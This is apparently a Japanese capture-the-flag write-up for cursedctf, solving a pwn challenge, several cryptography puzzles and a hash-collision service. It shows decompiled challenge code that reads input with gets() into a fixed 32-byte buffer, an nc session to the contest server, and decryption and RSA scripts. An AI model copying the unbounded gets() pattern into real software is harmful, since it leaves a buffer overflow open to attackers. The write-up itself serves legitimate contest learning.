https://www.amazon.co.jp/%E3%83%AC%E3%82%B4-LEGO-%E3%83%90%E3%83%BC%E3%82%AC%E3%83%BC%E3%83%88%E3%83%A9%E3%83%83%E3%82%AF-%E3%81%AF%E3%81%9F%E3%82%89%E3%81%8F%E3%81%8F%E3%82%8B%E3%81%BE-60404/dp/B0CFW2KC3H?th=1
cursedctf{60404}

ezpwn (pwn)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  vuln();
  return 0;
}

void vuln(void)

{
  int iVar1;
  size_t sVar2;
  char local_28 [32];
  
  printf("Hi! what\'s your name? ");
  gets(local_28);
  iVar1 = strcmp(local_28,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
  if (iVar1 == 0) {
    sVar2 = strlen(local_28);
    print_flag(sVar2 & 0xffffffff);
  }
  return;
}

void print_flag(uint param_1)

{
  printf("Congrats! Your flag is: cursed{ez_buffer_overflow?_%d}\n",(ulong)param_1);
  return;
}

print_flag関数の引数で渡しているのは、"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"の長さ。

>>> s = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
>>> len(s)
42
cursed{ez_buffer_overflow?_42}

Crypto Curses (crypto)

画像ファイルにあるURLから末尾1文字だけ見えないので、16進数の総当たりで該当するページを見つける。結果以下のURLで見つかった。

https://chat.openai.com/share/5a19884d-dc6f-421a-b5ea-153cbbce3877

復号した文字列は以下のように記載されている。

This is a secret message. It's a coming after, but it's spending him with a weird.

最後に以下がフラグであることが記載されている。

cursed{secret}
cursed{secret}

viewing (crypto)

各URLについて、リンク先とその値を記録する。

http://adfoc.us/852190101943995
→https://people.cs.rutgers.edu/~rp1110/viewing/key_0_6e82a44556266aa26ca13f817c3ec36f.txt
→bb8d8662f042380e02c5464f4ff8f9a4fa64d24b28a624709be929bc8317041b5d73dc784cd295c123

http://adfoc.us/852190102765961
→https://people.cs.rutgers.edu/~rp1110/viewing/key_10_0a148e7cdf3f72a15c808f32f73cfa8c.txt
→66780007a3aa4b2c96fc79dd83aa12fe362f38a42ccc4355d8a0d0079446354bb478990cdf3ab03fcb

http://adfoc.us/852190102765962
→https://people.cs.rutgers.edu/~rp1110/viewing/key_11_a0780e0f29eb255059be3b8c28b680b8.txt
→fcf16461d105e1872731a750b12d65b68ce2a5048cf42fa0a9ff951335c164c607dddc11a96015da61

http://adfoc.us/852190102765963
→https://people.cs.rutgers.edu/~rp1110/viewing/key_12_be4350c7b7e1e5499e9ed6afae203ac8.txt
→273f9f067fc3235c33ba79bc76217886d6542d80981bc8d794da24d30f61893f61f73432853ff475b4

http://adfoc.us/852190102765964
→https://people.cs.rutgers.edu/~rp1110/viewing/key_13_0453a62de62861b1038f6a1163f1219b.txt
→0235827a65e17fa7177188a7c9101a68b99f8bd99f5d242b32be16cb3bd073f9c8093640db9be60c6f

http://adfoc.us/852190102765965
→https://people.cs.rutgers.edu/~rp1110/viewing/key_14_9e39eec4d0458911dc16c89f76dd9cdb.txt
→88e530d66bf0cdada3179eb54b73c0936ba889375726940dc6c03051e0a4f3f035d406a5c088289411

http://adfoc.us/852190102765966
→https://people.cs.rutgers.edu/~rp1110/viewing/key_1_529956d3c980661884867365e0a59f99.txt
→41bbccfaa873b521b2ad3d543dfaac12d6883c2cc16934a14d22a305882d47d91972263c3c20192135

http://adfoc.us/852190102765967
→https://people.cs.rutgers.edu/~rp1110/viewing/key_15_b94c56972d5d076c09b6decbc526ade3.txt
→20da55588306639e2cb4960b11f46b172ac99a1df688b7d72d7ea907f6810548df7babe6974d889a37

http://adfoc.us/852190102765968
→https://people.cs.rutgers.edu/~rp1110/viewing/key_16_8c2d5d7d92f15e1e12b0761bd49868f1.txt
→c58b4aec3534b9b0e6ebf16c176e40965e9a8d5df6b1a6ad19128d22e3d9715778cf49d34b7276b717

http://adfoc.us/852190102765969
→https://people.cs.rutgers.edu/~rp1110/viewing/key_17_5938a92009a9b03d196e63175597f6c7.txt
→7bda9fef8d591cc7e61996dc949d1a7fb72bc4787fae6827b58e4a2b750a05fe865aaa4e1ff8c972e1

http://adfoc.us/852190102765970
→https://people.cs.rutgers.edu/~rp1110/viewing/key_18_c78fcc81608acfbe142aea69b8fe5211.txt
→96e0fff512e15ecc75abd38bbacaf34022b9d4cbd67a2d90278f7d5cf3312df0a511cfcdedc71eed86

http://adfoc.us/852190102765971
→https://people.cs.rutgers.edu/~rp1110/viewing/key_19_857fabe656d69c230623282cc41db3bf.txt
→98c0112acab6b179a80bbccd93457a658928e3d6e2cf97f05e1a117610f4087d9422e2baab27aa0283

http://adfoc.us/852190102765972
→https://people.cs.rutgers.edu/~rp1110/viewing/key_20_d0165f0d4bd62a43f4da4a00f60036bf.txt
→f4f6d525f6e6277dc9adf42b31fd441b7570d34b5cc5a3a0a5092e3db474e442dab496382398da4eb2

http://adfoc.us/852190102765973
→https://people.cs.rutgers.edu/~rp1110/viewing/key_21_be70a99c81494e8d2ae810f6d42f105e.txt
→100ac93d5213b69f1c017900f0bfc228ffc6c3984f440d5107d9d265cdc948b86333b3aca3790134cc

http://adfoc.us/852190102765974
→https://people.cs.rutgers.edu/~rp1110/viewing/key_22_5f2a3c66990a9af3d89446e7198b334c.txt
→b1fa0ddbcfc85ff22763633bcb67072ff3d2425712d1040b0abadd0071acb92e5c8816fbef7492887c

http://adfoc.us/852190102765975
→https://people.cs.rutgers.edu/~rp1110/viewing/key_2_3453c485088298a8b933fd31548a15be.txt
→ca1a9844e53122e7010aa0bd6ab42f683edc4596bdfd420701a6799c467bac6df81f03867dc598b0a1

http://adfoc.us/852190102765976
→https://people.cs.rutgers.edu/~rp1110/viewing/key_23_6ab4ff044a413eedf57433735b77f62f.txt
→0ea674736b0da0ed81405d715293f5164a24eef539eb7e0261fe8466612e92ac465bbcd9ca35cfb035

http://adfoc.us/852190102765977
→https://people.cs.rutgers.edu/~rp1110/viewing/key_24_f6e77321965b825bf72a3a1e1a025756.txt
→2ff74bc660c9461301f579538bbd1223567e80dbd31bbbeb73714b9f57220a49b26fc328e697502260

http://adfoc.us/852190102765978
→https://people.cs.rutgers.edu/~rp1110/viewing/key_25_bcea729783b4b183b55857e5fca0beca.txt
→0e11256e0f065d41bb9dcfd54eab98f02699a33c9ff66290b64df628ae286045ec656fe90387305471

http://adfoc.us/852190102765979
→https://people.cs.rutgers.edu/~rp1110/viewing/key_26_c6e751662b38b049ce3ae344baf5d55f.txt
→4c1d1555238f290dd4fd6eea0f7a07394cdf305031ca2ba5a7f711b012cbdb2f00a40a7799af30e93f

http://adfoc.us/852190102765980
→https://people.cs.rutgers.edu/~rp1110/viewing/key_27_60622e6e871094fc1df9850f4f63b04f.txt
→6e53a5c148d9963b1a13258a4e0a6b02609011840236ff8c9515f9ffe9f9e0f6f80eefdbc637861c0e

http://adfoc.us/852190102765981
→https://people.cs.rutgers.edu/~rp1110/viewing/key_28_c532c4a1624e64d7f759405f718efeac.txt
→75748318d94836b8c776f61b2a54a678d7a132c22640de820428c1380f942b58b1d4181b091cca2ab1

http://adfoc.us/852190102765982
→https://people.cs.rutgers.edu/~rp1110/viewing/key_29_61c870f7d0d98e9aa3aac0fe693ffcd9.txt
→1303116778362a6f60e80df792ca3488b3d811e6668e59b22c0bac612796d7d8aef82c5de9cea20f5a

http://adfoc.us/852190102765983
→https://people.cs.rutgers.edu/~rp1110/viewing/key_30_a59ea600157ba2729ea1ae6427a06b32.txt
→d9003a17802955cfb31f6fcd867882de37d6efa5eb637baa7e7b053f25c7a47917850027cf06ad303b

http://adfoc.us/852190102765984
→https://people.cs.rutgers.edu/~rp1110/viewing/key_31_59ae2d81571fd694a9d6b97242d09c58.txt
→38ae99ad6ff121ab815cd8d22290c895ec8db9bed90305e9acd3a7b414474414cc1a288fdc951247d3

http://adfoc.us/852190102765985
→https://people.cs.rutgers.edu/~rp1110/viewing/key_3_e2b65d2204515cf541319f36f70a1b67.txt
→afb9f249b270319f5560cfd7b1d50414d13b2de33abe5a762ad838db43c04f2237f31b3bf4fd5a3d75

http://adfoc.us/852190102765986
→https://people.cs.rutgers.edu/~rp1110/viewing/key_4_f44dbdc50e1156b68c65aa105c73712d.txt
→f6f09b7fbc99e45acc936d81d6b65a0debd3c9e223943dd9978d5b039aaad363ca5a7a84cb2ef3dd82

http://adfoc.us/852190102765987
→https://people.cs.rutgers.edu/~rp1110/viewing/key_5_f43cfac7016698fd69ed7db8bb8e61cd.txt
→709d2925a03518fb8340bb78dd9975140939b80b1fbc4c887766f363b3ff53fe9bc82c03dba634d7d9

http://adfoc.us/852190102765988
→https://people.cs.rutgers.edu/~rp1110/viewing/key_6_718bd3c866d00d7c4cd68f4cf9533f52.txt
→7a59d849a6dfbf99e0fae195f8e1e9c91a40faec68cc3f9843671bd7f8885f735321552d233c6e77ab

http://adfoc.us/852190102765989
→https://people.cs.rutgers.edu/~rp1110/viewing/key_7_6bdb0ff81cc265b5ee620e9790e40694.txt
→76ca355bffa7e7e74c0075be1034458a7bcc752b257202bbc5855b6e80c725e814d005ec719f091f1f

http://adfoc.us/852190102765990
→https://people.cs.rutgers.edu/~rp1110/viewing/key_8_c7ba4e619320ceff8ae1364b3eb72ab1.txt
→daaa65b40827c0afe9695900292abd4f901f71a125db33ccfcee081b17523453d447c943989c820a8d

http://adfoc.us/852190102765991
→https://people.cs.rutgers.edu/~rp1110/viewing/key_9_1d72ffcd7ba902d2f1d09975aa900c07.txt
→bdd3d80f40e547c5a83cfbddfa63690db1979782d73b68d027610b9f47d0252e77f09312cb4f69f181

http://adfoc.us/852190102765992
→https://people.cs.rutgers.edu/~rp1110/viewing/out.txt
→697b1d14cd4c761d7b69b7bf11646855353777e150db8b1a3e1605f6b2a9ba05f318252c5a6ba7ecec

32個のkeyとout.txtの情報が得られた。この情報から逆算し、フラグを求める。

#!/usr/bin/env python3
PERM_1 = {0: 120, 1: 224, 2: 249, 3: 98, 4: 88, 5: 4, 6: 210, 7: 54, 8: 83, 9: 63, 10: 153, 11: 245, 12: 203, 13: 139, 14: 137, 15: 39, 16: 217, 17: 1, 18: 90, 19: 107, 20: 72, 21: 96, 22: 191, 23: 112, 24: 199, 25: 113, 26: 16, 27: 160, 28: 58, 29: 214, 30: 236, 31: 51, 32: 91, 33: 147, 34: 145, 35: 226, 36: 208, 37: 114, 38: 13, 39: 175, 40: 187, 41: 184, 42: 243, 43: 146, 44: 87, 45: 6, 46: 247, 47: 131, 48: 100, 49: 136, 50: 110, 51: 71, 52: 55, 53: 242, 54: 89, 55: 228, 56: 252, 57: 144, 58: 215, 59: 200, 60: 251, 61: 38, 62: 21, 63: 232, 64: 48, 65: 115, 66: 135, 67: 121, 68: 240, 69: 8, 70: 148, 71: 173, 72: 60, 73: 198, 74: 84, 75: 80, 76: 17, 77: 241, 78: 219, 79: 2, 80: 33, 81: 101, 82: 77, 83: 134, 84: 128, 85: 161, 86: 29, 87: 119, 88: 181, 89: 20, 90: 149, 91: 157, 92: 150, 93: 227, 94: 165, 95: 117, 96: 37, 97: 85, 98: 42, 99: 32, 100: 231, 101: 185, 102: 81, 103: 127, 104: 69, 105: 65, 106: 156, 107: 196, 108: 220, 109: 162, 110: 47, 111: 103, 112: 223, 113: 132, 114: 41, 115: 99, 116: 0, 117: 53, 118: 93, 119: 170, 120: 195, 121: 171, 122: 202, 123: 22, 124: 111, 125: 15, 126: 244, 127: 254, 128: 169, 129: 76, 130: 19, 131: 43, 132: 179, 133: 167, 134: 26, 135: 230, 136: 97, 137: 159, 138: 49, 139: 206, 140: 155, 141: 138, 142: 197, 143: 142, 144: 5, 145: 30, 146: 28, 147: 176, 148: 229, 149: 7, 150: 250, 151: 130, 152: 166, 153: 211, 154: 218, 155: 140, 156: 82, 157: 92, 158: 106, 159: 62, 160: 216, 161: 56, 162: 178, 163: 238, 164: 64, 165: 124, 166: 59, 167: 118, 168: 102, 169: 182, 170: 11, 171: 151, 172: 44, 173: 205, 174: 67, 175: 253, 176: 109, 177: 9, 178: 201, 179: 73, 180: 186, 181: 180, 182: 31, 183: 248, 184: 34, 185: 36, 186: 116, 187: 61, 188: 222, 189: 192, 190: 239, 191: 177, 192: 122, 193: 133, 194: 204, 195: 50, 196: 94, 197: 164, 198: 194, 199: 95, 200: 237, 201: 213, 202: 10, 203: 209, 204: 104, 205: 154, 206: 188, 207: 24, 208: 183, 209: 27, 210: 189, 211: 174, 212: 126, 213: 45, 214: 143, 215: 212, 216: 221, 217: 23, 218: 234, 219: 123, 220: 193, 221: 158, 222: 255, 223: 141, 224: 163, 225: 75, 226: 18, 227: 70, 228: 3, 229: 105, 230: 246, 231: 35, 232: 152, 233: 86, 234: 233, 235: 108, 236: 40, 237: 79, 238: 74, 239: 172, 240: 125, 241: 207, 242: 78, 243: 46, 244: 14, 245: 235, 246: 168, 247: 25, 248: 190, 249: 66, 250: 225, 251: 12, 252: 129, 253: 52, 254: 57, 255: 68}
PERM_2 = {120: 0, 224: 1, 249: 2, 98: 3, 88: 4, 4: 5, 210: 6, 54: 7, 83: 8, 63: 9, 153: 10, 245: 11, 203: 12, 139: 13, 137: 14, 39: 15, 217: 16, 1: 17, 90: 18, 107: 19, 72: 20, 96: 21, 191: 22, 112: 23, 199: 24, 113: 25, 16: 26, 160: 27, 58: 28, 214: 29, 236: 30, 51: 31, 91: 32, 147: 33, 145: 34, 226: 35, 208: 36, 114: 37, 13: 38, 175: 39, 187: 40, 184: 41, 243: 42, 146: 43, 87: 44, 6: 45, 247: 46, 131: 47, 100: 48, 136: 49, 110: 50, 71: 51, 55: 52, 242: 53, 89: 54, 228: 55, 252: 56, 144: 57, 215: 58, 200: 59, 251: 60, 38: 61, 21: 62, 232: 63, 48: 64, 115: 65, 135: 66, 121: 67, 240: 68, 8: 69, 148: 70, 173: 71, 60: 72, 198: 73, 84: 74, 80: 75, 17: 76, 241: 77, 219: 78, 2: 79, 33: 80, 101: 81, 77: 82, 134: 83, 128: 84, 161: 85, 29: 86, 119: 87, 181: 88, 20: 89, 149: 90, 157: 91, 150: 92, 227: 93, 165: 94, 117: 95, 37: 96, 85: 97, 42: 98, 32: 99, 231: 100, 185: 101, 81: 102, 127: 103, 69: 104, 65: 105, 156: 106, 196: 107, 220: 108, 162: 109, 47: 110, 103: 111, 223: 112, 132: 113, 41: 114, 99: 115, 0: 116, 53: 117, 93: 118, 170: 119, 195: 120, 171: 121, 202: 122, 22: 123, 111: 124, 15: 125, 244: 126, 254: 127, 169: 128, 76: 129, 19: 130, 43: 131, 179: 132, 167: 133, 26: 134, 230: 135, 97: 136, 159: 137, 49: 138, 206: 139, 155: 140, 138: 141, 197: 142, 142: 143, 5: 144, 30: 145, 28: 146, 176: 147, 229: 148, 7: 149, 250: 150, 130: 151, 166: 152, 211: 153, 218: 154, 140: 155, 82: 156, 92: 157, 106: 158, 62: 159, 216: 160, 56: 161, 178: 162, 238: 163, 64: 164, 124: 165, 59: 166, 118: 167, 102: 168, 182: 169, 11: 170, 151: 171, 44: 172, 205: 173, 67: 174, 253: 175, 109: 176, 9: 177, 201: 178, 73: 179, 186: 180, 180: 181, 31: 182, 248: 183, 34: 184, 36: 185, 116: 186, 61: 187, 222: 188, 192: 189, 239: 190, 177: 191, 122: 192, 133: 193, 204: 194, 50: 195, 94: 196, 164: 197, 194: 198, 95: 199, 237: 200, 213: 201, 10: 202, 209: 203, 104: 204, 154: 205, 188: 206, 24: 207, 183: 208, 27: 209, 189: 210, 174: 211, 126: 212, 45: 213, 143: 214, 212: 215, 221: 216, 23: 217, 234: 218, 123: 219, 193: 220, 158: 221, 255: 222, 141: 223, 163: 224, 75: 225, 18: 226, 70: 227, 3: 228, 105: 229, 246: 230, 35: 231, 152: 232, 86: 233, 233: 234, 108: 235, 40: 236, 79: 237, 74: 238, 172: 239, 125: 240, 207: 241, 78: 242, 46: 243, 14: 244, 235: 245, 168: 246, 25: 247, 190: 248, 66: 249, 225: 250, 12: 251, 129: 252, 52: 253, 57: 254, 68: 255}

def bxor(a, b): return bytes(x ^ y for x, y in zip(a, b))

KEYS = [
    'bb8d8662f042380e02c5464f4ff8f9a4fa64d24b28a624709be929bc8317041b5d73dc784cd295c123',
    '41bbccfaa873b521b2ad3d543dfaac12d6883c2cc16934a14d22a305882d47d91972263c3c20192135',
    'ca1a9844e53122e7010aa0bd6ab42f683edc4596bdfd420701a6799c467bac6df81f03867dc598b0a1',
    'afb9f249b270319f5560cfd7b1d50414d13b2de33abe5a762ad838db43c04f2237f31b3bf4fd5a3d75',
    'f6f09b7fbc99e45acc936d81d6b65a0debd3c9e223943dd9978d5b039aaad363ca5a7a84cb2ef3dd82',
    '709d2925a03518fb8340bb78dd9975140939b80b1fbc4c887766f363b3ff53fe9bc82c03dba634d7d9',
    '7a59d849a6dfbf99e0fae195f8e1e9c91a40faec68cc3f9843671bd7f8885f735321552d233c6e77ab',
    '76ca355bffa7e7e74c0075be1034458a7bcc752b257202bbc5855b6e80c725e814d005ec719f091f1f',
    'daaa65b40827c0afe9695900292abd4f901f71a125db33ccfcee081b17523453d447c943989c820a8d',
    'bdd3d80f40e547c5a83cfbddfa63690db1979782d73b68d027610b9f47d0252e77f09312cb4f69f181',
    '66780007a3aa4b2c96fc79dd83aa12fe362f38a42ccc4355d8a0d0079446354bb478990cdf3ab03fcb',
    'fcf16461d105e1872731a750b12d65b68ce2a5048cf42fa0a9ff951335c164c607dddc11a96015da61',
    '273f9f067fc3235c33ba79bc76217886d6542d80981bc8d794da24d30f61893f61f73432853ff475b4',
    '0235827a65e17fa7177188a7c9101a68b99f8bd99f5d242b32be16cb3bd073f9c8093640db9be60c6f',
    '88e530d66bf0cdada3179eb54b73c0936ba889375726940dc6c03051e0a4f3f035d406a5c088289411',
    '20da55588306639e2cb4960b11f46b172ac99a1df688b7d72d7ea907f6810548df7babe6974d889a37',
    'c58b4aec3534b9b0e6ebf16c176e40965e9a8d5df6b1a6ad19128d22e3d9715778cf49d34b7276b717',
    '7bda9fef8d591cc7e61996dc949d1a7fb72bc4787fae6827b58e4a2b750a05fe865aaa4e1ff8c972e1',
    '96e0fff512e15ecc75abd38bbacaf34022b9d4cbd67a2d90278f7d5cf3312df0a511cfcdedc71eed86',
    '98c0112acab6b179a80bbccd93457a658928e3d6e2cf97f05e1a117610f4087d9422e2baab27aa0283',
    'f4f6d525f6e6277dc9adf42b31fd441b7570d34b5cc5a3a0a5092e3db474e442dab496382398da4eb2',
    '100ac93d5213b69f1c017900f0bfc228ffc6c3984f440d5107d9d265cdc948b86333b3aca3790134cc',
    'b1fa0ddbcfc85ff22763633bcb67072ff3d2425712d1040b0abadd0071acb92e5c8816fbef7492887c',
    '0ea674736b0da0ed81405d715293f5164a24eef539eb7e0261fe8466612e92ac465bbcd9ca35cfb035',
    '2ff74bc660c9461301f579538bbd1223567e80dbd31bbbeb73714b9f57220a49b26fc328e697502260',
    '0e11256e0f065d41bb9dcfd54eab98f02699a33c9ff66290b64df628ae286045ec656fe90387305471',
    '4c1d1555238f290dd4fd6eea0f7a07394cdf305031ca2ba5a7f711b012cbdb2f00a40a7799af30e93f',
    '6e53a5c148d9963b1a13258a4e0a6b02609011840236ff8c9515f9ffe9f9e0f6f80eefdbc637861c0e',
    '75748318d94836b8c776f61b2a54a678d7a132c22640de820428c1380f942b58b1d4181b091cca2ab1',
    '1303116778362a6f60e80df792ca3488b3d811e6668e59b22c0bac612796d7d8aef82c5de9cea20f5a',
    'd9003a17802955cfb31f6fcd867882de37d6efa5eb637baa7e7b053f25c7a47917850027cf06ad303b',
    '38ae99ad6ff121ab815cd8d22290c895ec8db9bed90305e9acd3a7b414474414cc1a288fdc951247d3'
]
ct = '697b1d14cd4c761d7b69b7bf11646855353777e150db8b1a3e1605f6b2a9ba05f318252c5a6ba7ecec'
KEYS = [bytes.fromhex(k) for k in KEYS]
ct = bytes.fromhex(ct)

for k in KEYS[::-1]:
    roundkey = k
    for round in range(35):
        ct = bxor(ct, roundkey)
        roundkey = bytes(PERM_1[x] for x in roundkey)
        roundkey = bytes(PERM_2[x] for x in roundkey)

FLAG = ct.decode()
print(FLAG)
cursed{th4nk5_f0R_th3_c4Sh_8907d34e13a93}

hashbash (crypto)

サーバ処理の概要は以下の通り。

・inp: 16進数表記でhashにする文字列→hexデコード
・inpの長さは2以上であることをチェック
・hash_vals: HASH_ALGSの各アルゴリズムとその値のペアの辞書オブジェクト
・辞書オブジェクトの各アルゴリズムとその値を表示
・各アルゴリズムで値が3つ重複したら、フラグを表示
・各アルゴリズムで値が4つ重複したら、フラグ2を表示
・各アルゴリズムで値が5つ以上重複したら、フラグ3を表示

試しに0000を指定してみたら、フラグが表示された。

$ nc chals.4.cursedc.tf 31347
Enter string to hash (in hex): 0000
hash_bkdr(input) = 0x0
hash_djb2(input) = 0x1505
hash_js(input) = 0x4e67c6a7
hash_loselose(input) = 0x0
hash_sdbm(input) = 0x0
hash_crc32(input) = 0x41d912ff
Collision found! flag: cursed{bash_hash_make_cash}
cursed{bash_hash_make_cash}

fuck-joseph (crypto)

https://www.dcode.fr/prime-factors-decompositionでnを素因数分解する。

n = 75629683263434000464256062537146260915414088592541977770372518611110392769911 × 103749244738821801782446603878316975490744140733056657767774654036053137570499

あとは通常通り、RSA暗号の復号を行う。

#!/usr/bin/env python3
from Crypto.Util.number import *

e = 0x10001
n = 7846522518417589248988270000148869175483871909654188312830201338531351693904665461071052407652236904088895038751386311924570942790683843571278725648455589
c = 1946110978290405473570099039854806688094550945176127267787841744655801986217136119749922835315145822060478526423855096901944949875018840782662648593492571

p = 75629683263434000464256062537146260915414088592541977770372518611110392769911
q = 103749244738821801782446603878316975490744140733056657767774654036053137570499
assert n == p * q

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
cursed{s0rry_j0s3ph_y0u_4r3_t00_g00d}